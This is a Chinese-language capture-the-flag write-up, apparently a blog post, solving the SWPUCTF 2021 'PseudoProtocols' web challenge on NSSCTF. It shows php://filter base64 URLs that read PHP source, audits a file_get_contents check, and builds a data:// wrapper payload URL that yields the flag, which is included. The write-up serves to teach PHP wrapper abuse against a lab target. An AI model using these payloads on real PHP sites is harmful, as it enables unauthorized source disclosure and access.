[SWPUCTF 2021 新生赛]PseudoProtocols
[SWPUCTF 2021 新生赛]PseudoProtocols
题目来源:nssctf
题目类型:web
涉及考点:PHP伪协议
1. 先看题目,给了一个提示
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2326707/o_230723134511_image-20230723212513917.png)
要我们找hint.php,我们直接修改url:http://node2.anna.nssctf.cn:28069/hint.php
发现页面空白无回显,这时候想到了使用PHP伪协议让其base64编码输出:
http://node2.anna.nssctf.cn:28069/index.php?wllm=php://filter/read=convert.base64-encode/resource=hint.php
有关PHP伪协议见:[ACTF2020 新生赛]Include
得到hint.php源码的base64编码
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2326707/o_230723134512_image-20230723212846801.png)
解码之后如下:
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2326707/o_230723134511_image-20230723212908646.png)
需要我们查看test2222222222222.php
,这里不需要使用伪协议,直接修改url即可:
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2326707/o_230723134511_image-20230723213010585.png)
显然接下来就是代码审计了
2. 代码审计
<?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
echo "success\n";
echo $flag;
}
?>
关键点在于file_get_contents($a,'r')
,简单介绍一下:
file_get_contents() 把整个文件读入一个字符串中。即,这个函数会将文件内容以字符串形式输出,'r' 表示只读
那么我们关键需要让 $a 所表示的文件的内容存放 I want flag
,这怎么做到呢?这里就需要介绍另一个PHP伪协议了:
data://
自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。一般需要用到base64编码传输
示例:
http://127.0.0.1/include.php?file=data://text/plain;base64,xxxx(base64编码)
因此我们先将 I want flag
进行base64编码:
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2326707/o_230723134512_image-20230723214215621.png)
最终我们构造payload:
http://node2.anna.nssctf.cn:28069/test2222222222222.php?a=data://text/plain;base64,SSB3YW50IGZsYWc=
得到flag:
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2326707/o_230723134512_image-20230723214259089.png)
NSSCTF{8055bfb8-1847-4000-8834-5f42eb311025}
日期:2023.7.23
作者:y0Zero